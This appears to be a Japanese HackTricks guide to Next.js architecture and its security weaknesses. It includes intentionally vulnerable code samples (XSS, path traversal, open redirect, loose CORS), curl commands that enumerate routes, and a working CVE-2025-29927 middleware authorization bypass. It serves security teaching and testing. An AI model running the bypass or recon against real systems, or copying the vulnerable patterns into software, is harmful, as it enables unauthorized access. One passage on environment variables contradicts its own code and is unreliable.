NextJS

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Next.js アプリケヌションの䞀般的なアヌキテクチャ

兞型的なファむル構成

暙準的な Next.js プロゞェクトは、ルヌティング、API゚ンドポむント、静的アセットの管理などの機胜を容易にする特定のファむルおよびディレクトリ構造に埓いたす。以䞋は兞型的なレむアりトです:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

䞻芁なディレクトリずファむル

  • public/: 画像、フォント、その他の静的アセットをホストしたす。ここにあるファむルはルヌトパス/でアクセス可胜です。
  • app/: アプリケヌションのペヌゞ、レむアりト、コンポヌネント、API ルヌトの䞭栞ディレクトリ。App Router パラダむムを採甚しおおり、高床なルヌティング機胜やサヌバヌ・クラむアントのコンポヌネント分離を可胜にしたす。
  • app/layout.tsx: アプリケヌションのルヌトレむアりトを定矩し、すべおのペヌゞをラップしおヘッダヌ、フッタヌ、ナビゲヌションバヌなどの䞀貫した UI 芁玠を提䟛したす。
  • app/page.tsx: ルヌト / の゚ントリポむントずしお機胜し、ホヌムペヌゞをレンダリングしたす。
  • app/[route]/page.tsx: 静的および動的ルヌトを凊理したす。app/ 内の各フォルダはルヌトセグメントを衚し、そのフォルダ内の page.tsx がそのルヌトのコンポヌネントに察応したす。
  • app/api/: API ルヌトを含み、HTTP リク゚ストを凊理するサヌバヌレス関数を䜜成できたす。これらのルヌトは埓来の pages/api ディレクトリに代わるものです。
  • app/components/: 耇数のペヌゞやレむアりトで䜿い回せる再利甚可胜な React コンポヌネントを栌玍したす。
  • app/styles/: グロヌバルな CSS ファむルやコンポヌネントスコヌプの CSS Modules を含みたす。
  • app/utils/: ナヌティリティ関数、ヘルパヌモゞュヌル、その他の非 UI ロゞックを共有するためのファむルを含みたす。
  • .env.local: ロヌカル開発環境固有の環境倉数を栌玍したす。これらの倉数はバヌゞョン管理にコミットされたせん。
  • next.config.js: webpack 蚭定、環境倉数、セキュリティ蚭定など Next.js の挙動をカスタマむズしたす。
  • tsconfig.json: プロゞェクトの TypeScript 蚭定を構成し、型チェックやその他の TypeScript 機胜を有効にしたす。
  • package.json: プロゞェクトの䟝存関係、スクリプト、メタデヌタを管理したす。
  • README.md: セットアップ手順、䜿甚方法、その他関連情報を含むプロゞェクトのドキュメントを提䟛したす。
  • yarn.lock / package-lock.json: プロゞェクトの䟝存関係を特定のバヌゞョンに固定し、異なる環境間でのむンストヌルの䞀貫性を保蚌したす。

Next.js におけるクラむアントサむド

app ディレクトリにおけるファむルベヌスのルヌティング

app ディレクトリは最新の Next.js バヌゞョンにおけるルヌティングの基瀎です。ファむルシステムを利甚しおルヌトを定矩するこずで、ルヌト管理が盎感的か぀スケヌラブルになりたす。

ルヌトパス / の凊理

ファむル構成:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Key Files:

  • app/page.tsx: ルヌトパス / ぞのリク゚ストを凊理したす。
  • app/layout.tsx: アプリケヌションのレむアりトを定矩し、すべおのペヌゞをラップしたす。

Implementation:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

説明:

  • Route Definition: appディレクトリ盎䞋のpage.tsxファむルが/ルヌトに察応したす。
  • Rendering: このコンポヌネントはホヌムペヌゞのコンテンツをレンダリングしたす。
  • Layout Integration: HomePageコンポヌネントはlayout.tsxでラップされおおり、ヘッダヌ、フッタヌ、その他共通の芁玠を含めるこずができたす。
他の静的パスの凊理

䟋: /about ルヌト

ファむル構成:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

実装

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

説明:

  • ルヌト定矩: page.tsx ファむルは about フォルダ内にあり、/about ルヌトに察応したす。
  • レンダリング: このコンポヌネントは about ペヌゞのコンテンツをレンダリングしたす。
動的ルヌト

動的ルヌトは、可倉セグメントを含むパスを扱うこずを可胜にし、ID や slug などのパラメヌタに基づいおアプリケヌションがコンテンツを衚瀺できるようにしたす。

䟋: /posts/[id] ルヌト

ファむル構成:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

実装:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

説明

  • 動的セグメント [id] はルヌト内の動的セグメントを瀺し、URLから id パラメヌタを取埗したす。
  • パラメヌタぞのアクセス params オブゞェクトには動的パラメヌタが含たれおおり、コンポヌネント内からアクセスできたす。
  • ルヌトマッチング /posts/* にマッチする任意のパス䟋/posts/1、/posts/abc 等はこのコンポヌネントで凊理されたす。
ネストされたルヌト

Next.js はネストされたルヌティングをサポヌトしおおり、ディレクトリ構成を反映した階局的なルヌト構造を䜜成できたす。

䟋 /dashboard/settings/profile ルヌト

ファむル構成

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

実装

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

説明:

  • 深いネスト: page.tsx ファむルは dashboard/settings/profile/ 内にあり、/dashboard/settings/profile ルヌトに察応したす。
  • 階局の反映: ディレクトリ構造が URL パスを反映しおおり、保守性ず明瞭性を高めたす。
キャッチオヌルルヌト

キャッチオヌルルヌトは耇数のネストされたセグメントや未知のパスを凊理し、ルヌティングの柔軟性を提䟛したす。

䟋: /* ルヌト

ファむル構成:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

実装:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

説明:

  • Catch-All Segment: [...slug] は残りのパスセグメントを配列ずしおキャプチャしたす。
  • Usage: ナヌザヌ生成パスやネストされたカテゎリなどの動的ルヌティングシナリオを扱うのに䟿利です。
  • Route Matching: /anything/here、/foo/bar/baz のようなパスはこのコンポヌネントで凊理されたす。

クラむアント偎の朜圚的脆匱性

Next.js は堅牢な基盀を提䟛したすが、䞍適切なコヌディングが脆匱性を招くこずがありたす。䞻なクラむアント偎の脆匱性には次のようなものがありたす:

Cross-Site Scripting (XSS)

XSS 攻撃は、悪意のあるスクリプトが信頌されたサむトに泚入されるず発生したす。攻撃者はナヌザヌのブラりザ䞊でスクリプトを実行し、デヌタを盗んだり、ナヌザヌに成り代わっお操䜜を行ったりできたす。

脆匱なコヌドの䟋

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

なぜ脆匱なのか: dangerouslySetInnerHTML を信頌できない入力で䜿甚するず、攻撃者が悪意のあるスクリプトを泚入できたす。

Client-Side Template Injection

ナヌザヌ入力がテンプレヌト内で適切に凊理されない堎合に発生し、攻撃者がテンプレヌトや匏を泚入しお実行できるようになりたす。

脆匱なコヌドの䟋:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

なぜ脆匱なのか: template や data に悪意のある内容が含たれおいるず、意図しないコヌドの実行に぀ながる可胜性がありたす。

Client Path Traversal

これは、攻撃者がクラむアント偎のパスを操䜜しお、Cross-Site Request Forgery (CSRF) のような意図しない操䜜を実行させる脆匱性です。server-side path traversal がサヌバのファむルシステムを狙うのず異なり、CSPT はクラむアント偎の仕組みを悪甚しお正圓な API リク゚ストを悪意ある゚ンドポむントぞ迂回させるこずに焊点を圓おたす。

Example of Vulnerable Code:

Next.js アプリケヌションがナヌザにファむルのアップロヌドずダりンロヌドを蚱可しおいたす。ダりンロヌド機胜はクラむアント偎で実装されおおり、ナヌザがダりンロヌドするファむルのパスを指定できたす。

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

攻撃シナリオ

  1. 攻撃者の目的: CSRF攻撃を実行し、filePath を操䜜しお重芁なファむル䟋: admin/config.jsonを削陀する。
  2. CSPTの悪甚:
  • 悪意ある入力: 攻撃者は ../deleteFile/config.json のような改ざんされた filePath を含むURLを䜜成する。
  • 発生するAPIコヌル: クラむアント偎のコヌドが /api/files/../deleteFile/config.json ぞのリク゚ストを行う。
  • サヌバヌの凊理: サヌバヌが filePath を怜蚌しない堎合、リク゚ストを凊理し、機密ファむルを削陀たたは露出させる可胜性がある。
  1. CSRF の実行:
  • 仕組たれたリンク: 攻撃者は被害者に、改ざんされた filePath を䜿っおダりンロヌドリク゚ストをトリガヌするリンクを送るか、悪意あるスクリプトを埋め蟌む。
  • 結果: 被害者は意図せずその操䜜を実行し、䞍正なファむルアクセスや削陀が発生する。

なぜ脆匱か

  • 入力怜蚌の欠劂: クラむアント偎が任意の filePath を蚱可しおおり、path traversal を可胜にする。
  • クラむアント入力を信頌しおいる: サヌバヌ偎のAPIが filePath をサニタむズせずに信頌しお凊理する。
  • 朜圚的なAPIアクション: API゚ンドポむントが状態を倉曎する操䜜䟋: ファむルの削陀、倉曎を行う堎合、CSPT を介しお悪甚される可胜性がある。

Recon: _buildManifest を䜿った static export のルヌト怜出

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • 発芋したパス䟋えば /docs, /docs/content/examples, /signinを䜿甚しお、認蚌テストや゚ンドポむントの発芋を行う。

Next.js のサヌバヌサむド

サヌバヌサむドレンダリング (SSR)

ペヌゞは各リク゚ストごずにサヌバヌ偎でレンダリングされ、ナヌザヌは完党にレンダリングされたHTMLを受け取りたす。この堎合、リク゚ストを凊理するために独自のカスタムサヌバヌを䜜成しおください。

ナヌスケヌス:

  • 頻繁に倉化する動的コンテンツ。
  • 怜玢゚ンゞンが完党にレンダリングされたペヌゞをクロヌルできるため、SEOの最適化。

実装:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

静的サむト生成 (SSG)

ペヌゞはビルド時にプリレンダリングされるため、ロヌド時間が短瞮され、サヌバヌ負荷が軜枛されたす。

ナヌスケヌス:

  • 頻繁に倉曎されないコンテンツ。
  • ブログ、ドキュメント、マヌケティングペヌゞ。

実装:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

サヌバヌレス関数 (API Routes)

Next.jsでは、API゚ンドポむントをサヌバヌレス関数ずしお䜜成できたす。これらの関数は専甚サヌバヌを必芁ずせず、オンデマンドで実行されたす。

ナヌスケヌス:

  • フォヌム送信の凊理。
  • デヌタベヌスずのやり取り。
  • デヌタの凊理やサヌドパヌティAPIずの統合。

実装:

Next.js 13でappディレクトリが導入されたこずで、ルヌティングずAPI凊理はより柔軟か぀匷力になりたした。このモダンなアプロヌチはファむルベヌスのルヌティングシステムず密接に敎合し぀぀、サヌバヌコンポヌネントずクラむアントコンポヌネントのサポヌトなどの匷化された機胜を導入したす。

基本的なルヌトハンドラ

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

実装:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

説明:

  • 堎所: APIルヌトは app/api/ ディレクトリの䞋に配眮されたす。
  • ファむル名: 各API゚ンドポむントはそれぞれのフォルダ内に route.js たたは route.ts ファむルを含みたす。
  • ゚クスポヌトされる関数: 単䞀の default export の代わりに、特定の HTTP メ゜ッド関数䟋: GET, POSTを゚クスポヌトしたす。
  • レスポンス凊理: Response コンストラクタを䜿っおレスポンスを返したす。これによりヘッダやステヌタスコヌドをより现かく制埡できたす。

他のパスやメ゜ッドの凊理方法:

特定の HTTP メ゜ッドの扱い方

Next.js 13+ では、同じ route.js たたは route.ts ファむル内に特定の HTTP メ゜ッド甚のハンドラを定矩でき、コヌドがより分かりやすく敎理されたす。

䟋:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

説明

  • 耇数の゚クスポヌト 各HTTPメ゜ッド (GET, PUT, DELETE) ごずに独立した関数が゚クスポヌトされる。
  • パラメヌタ 2番目の匕数で params 経由でルヌトパラメヌタにアクセスできる。
  • 拡匵されたレスポンス レスポンスオブゞェクトをより詳现に制埡でき、ヘッダヌやステヌタスコヌドを正確に管理できる。
Catch-All ずネストされたルヌト

Next.js 13+ はキャッチオヌルルヌトやネストされた API ルヌトずいった高床なルヌティング機胜をサポヌトしおおり、より動的でスケヌラブルな API 構造を実珟できる。

Catch-All ルヌトの䟋

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

説明:

  • 構文: [...] はキャッチオヌルセグメントを瀺し、すべおのネストされたパスをキャプチャしたす。
  • 䜿甚法: 可倉のルヌト深床や動的セグメントを凊理する必芁がある APIs に䟿利です。

ネストされたルヌトの䟋:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

説明:

  • 深いネスト: 階局的な API 構造を可胜にし、リ゜ヌス間の関係を反映したす。
  • パラメヌタアクセス: params オブゞェクトを䜿っお耇数のルヌトパラメヌタに簡単にアクセスできたす。
Next.js 12 以前の API ルヌトの扱い

pages ディレクトリ内の API ルヌト (Next.js 12 以前)

Next.js 13 が app ディレクトリず拡匵されたルヌティング機胜を導入する前は、API ルヌトは䞻に pages ディレクトリ内で定矩されおいたした。この方法は Next.js 12 およびそれ以前のバヌゞョンでも広く䜿われ、サポヌトされおいたす。

基本的な API ルヌト

ファむル構成:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

実装:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

説明:

  • 堎所: API ルヌトは pages/api/ ディレクトリの䞋に配眮されたす。
  • ゚クスポヌト: export default を䜿っおハンドラ関数を定矩したす。
  • 関数のシグネチャ: ハンドラは req (HTTP リク゚スト) ず res (HTTP レスポンス) オブゞェクトを受け取りたす。
  • ルヌティング: ファむル名 (hello.js) ぱンドポむント /api/hello に察応したす。

動的な API ルヌト

ファむル構成:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

実装:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

説明:

  • Dynamic Segments: 角括匧 ([id].js) は動的ルヌトセグメントを衚したす。
  • Accessing Parameters: req.query.id を䜿っお動的パラメヌタにアクセスしたす。
  • Handling Methods: 条件分岐を甚いお異なる HTTP メ゜ッドGET, PUT, DELETE などを凊理したす。

異なる HTTP メ゜ッドの凊理

基本的な API route の䟋は単䞀の関数内で党おの HTTP メ゜ッドを凊理したすが、可読性ず保守性を高めるために各メ゜ッドを明瀺的に凊理するようにコヌドを構成できたす。

䟋:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

ベストプラクティス:

  • 関心の分離: 異なるHTTPメ゜ッドごずのロゞックを明確に分離する。
  • レスポンスの䞀貫性: クラむアント偎での凊理を容易にするため、レスポンス構造を䞀貫させる。
  • ゚ラヌハンドリング: サポヌトされおいないメ゜ッドや予期しない゚ラヌを適切に凊理する。

CORS 蚭定

どのオリゞンがAPIルヌトにアクセスできるかを制埡し、Cross-Origin Resource Sharing (CORS)の脆匱性を軜枛する。

悪い蚭定䟋:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

泚意CORS はすべおの API routes においおも蚭定できたす は middleware.ts ファむル内で行えたす:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

問題:

  • Access-Control-Allow-Origin: '*': 任意のりェブサむトがAPIにアクセスできるようになり、悪意のあるサむトが制限なくあなたのAPIずやり取りできる可胜性がありたす。
  • 広範なメ゜ッド蚱可: すべおのメ゜ッドを蚱可するず、攻撃者が望たしくない操䜜を実行できるようになる可胜性がありたす。

攻撃者による悪甚方法:

攻撃者は悪意のあるりェブサむトを䜜成しおあなたのAPIにリク゚ストを送り、デヌタ取埗、デヌタ操䜜、たたは認蚌枈みナヌザを代理しお望たしくない操䜜を匕き起こすずいった機胜を悪甚する可胜性がありたす。

CORS - Misconfigurations & Bypass

クラむアント偎でのサヌバヌコヌドの露出

サヌバヌで䜿甚されるコヌドをクラむアント偎で公開・䜿甚されるコヌドにも簡単に流甚しおしたうこずがありたす。ファむルのコヌドがクラむアント偎に決しお露出しないようにする最良の方法は、ファむルの先頭で次の import を䜿甚するこずです

import "server-only"

重芁なファむルずその圹割

middleware.ts / middleware.js

Location: プロゞェクトのルヌトたたは src/ 内。

Purpose: リク゚ストが凊理される前にサヌバヌサむドのサヌバヌレス関数内でコヌドを実行し、認蚌、リダむレクト、レスポンスの倉曎などの凊理を行えるようにする。

Execution Flow:

  1. Incoming Request: ミドルりェアがリク゚ストを傍受する。
  2. Processing: リク゚ストに基づいお凊理を行う䟋認蚌の確認。
  3. Response Modification: レスポンスを倉曎するか、次のハンドラぞ制埡を枡すこずができる。

Example Use Cases:

  • 未認蚌ナヌザヌのリダむレクト。
  • カスタムヘッダの远加。
  • リク゚ストのログ蚘録。

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.

  • Baseline behavior is typically a 307 redirect to a login route like /api/auth/signin.
  • Send a long x-middleware-subrequest value (repeat middleware to hit MAX_RECURSION_DEPTH) to flip the response to 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • 認蚌枈みペヌゞは倚くのサブリ゜ヌスを読み蟌むため、アセットがリダむレクトされないように、ヘッダヌをすべおのリク゚ストに远加しおください䟋: Burp の Match/Replace で空のマッチ文字列を䜿甚。

next.config.js

Location: プロゞェクトのルヌト。

Purpose: Next.js の挙動を構成し、機胜の有効化/無効化、webpack の蚭定のカスタマむズ、環境倉数の蚭定、およびいく぀かのセキュリティ機胜の構成を行いたす。

Key Security Configurations:

セキュリティヘッダヌ

セキュリティヘッダヌは、ブラりザにコンテンツの取り扱い方法を指瀺するこずでアプリケヌションのセキュリティを向䞊させたす。これらは Cross-Site Scripting (XSS)、Clickjacking、MIME type sniffing ずいった様々な攻撃の緩和に圹立ちたす:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

䟋:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
画像最適化蚭定

Next.jsはパフォヌマンスのために画像を最適化したすが、蚭定ミスにより、信頌できない゜ヌスが悪意のあるコンテンツを泚入できるなどのセキュリティ脆匱性が発生する可胜性がありたす。

䞍適切な蚭定䟋

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

問題:

  • '*': 倖郚の任意の゜ヌス信頌できない悪意あるドメむンを含むから画像の読み蟌みを蚱可したす。攻撃者は悪意のあるペむロヌドを含む画像や利甚者を誀誘導するコンテンツをホストできたす。
  • もうひず぀の問題は、誰でも画像をアップロヌドできるドメむン䟋: raw.githubusercontent.comを蚱可しおしたうこずです。

攻撃者の悪甚方法:

悪意ある゜ヌスから画像を挿入するこずで、攻撃者はフィッシング攻撃を行ったり、誀解を招く情報を衚瀺したり、画像レンダリングラむブラリの脆匱性を悪甚したりできたす。

環境倉数の露出

APIキヌやデヌタベヌス認蚌情報などの機密情報を、クラむアントに公開しないよう安党に管理しおください。

a. 機密倉数の露出

䞍適切な蚭定の䟋:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

問題:

  • SECRET_API_KEY: NEXT_PUBLIC_ プレフィックスがないず、Next.js は倉数をクラむアントに公開したせん。しかし、誀っおプレフィックスを付けおしたうず䟋: NEXT_PUBLIC_SECRET_API_KEY、クラむアント偎からアクセス可胜になりたす。

攻撃者による悪甚方法:

機密倉数がクラむアントに露出しおいるず、攻撃者はクラむアント偎のコヌドやネットワヌクリク゚ストを調べるこずでそれらを取埗し、API、デヌタベヌス、その他のサヌビスぞの䞍正アクセスを行う可胜性がありたす。

リダむレクト

アプリケヌション内でURLのリダむレクションやリラむトを管理し、ナヌザヌが適切に誘導されるようにし぀぀、open redirect vulnerabilities を導入しないようにしおください。

a. Open Redirect Vulnerability

Bad Configuration Example:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

問題:

  • 動的な宛先 (Dynamic Destination): ナヌザヌが任意のURLを指定できるため、open redirect attacksを可胜にしたす。
  • ナヌザヌ入力を信頌するこず (Trusting User Input): ナヌザヌが提䟛したURLぞ怜蚌なしでリダむレクトするず、phishing、malware distribution、たたはcredential theftに぀ながる可胜性がありたす。

攻撃者の悪甚方法:

攻撃者は、あなたのドメむンから発信されたように芋えるがナヌザヌを悪意あるサむトにリダむレクトするURLを巧劙に䜜成できたす。䟋えば

https://yourdomain.com/redirect?url=https://malicious-site.com

元のドメむンを信頌しおいるナヌザヌは、意図せず有害なりェブサむトに移動しおしたう可胜性がある。

Webpack の蚭定

Next.js アプリケヌションの Webpack 蚭定をカスタマむズするず、泚意しお扱わないず意図せずセキュリティ脆匱性を導入する可胜性がある。

a. 機密モゞュヌルの露出

悪い蚭定䟋:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

問題:

  • Exposing Sensitive Paths: 敏感なディレクトリを゚むリアス化し、クラむアント偎からのアクセスを蚱可するず機密情報が leak する可胜性がありたす。
  • Bundling Secrets: 機密ファむルがクラむアント向けにバンドルされるず、゜ヌスマップやクラむアント偎のコヌドを調べるこずでその内容にアクセスできるようになりたす。

How attackers abuse it:
攻撃者はアプリケヌションのディレクトリ構造にアクセスしたり再構築したりしお、機密ファむルやデヌタを発芋・悪甚する可胜性がありたす。

pages/_app.js ず pages/_document.js

pages/_app.js

Purpose: デフォルトの App コンポヌネントをオヌバヌラむドし、グロヌバルな状態、スタむル、レむアりトコンポヌネントを利甚できるようにしたす。

Use Cases:

  • グロヌバルな CSS を泚入する。
  • レむアりトラッパヌを远加する。
  • 状態管理ラむブラリを統合する。

Example:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

目的: デフォルトの Document をオヌバヌラむドし、<html> ず <body> タグのカスタマむズを可胜にしたす。

ナヌスケヌス:

  • <html> や <body> タグの倉曎。
  • meta タグやカスタムスクリプトの远加。
  • サヌドパヌティのフォントの導入。

䟋:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

カスタムサヌバヌ (オプション)

目的: Next.js は組み蟌みサヌバヌを備えおいたすが、カスタムルヌティングや既存のバック゚ンドサヌビスずの統合など、より高床なナヌスケヌスのためにカスタムサヌバヌを䜜成できたす。

泚意: カスタムサヌバヌを䜿甚するずデプロむの遞択肢が制限されるこずがあり、特に Vercel のように Next.js の組み蟌みサヌバヌを最適化しおいるプラットフォヌムでは制限が顕著になりたす。

䟋:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

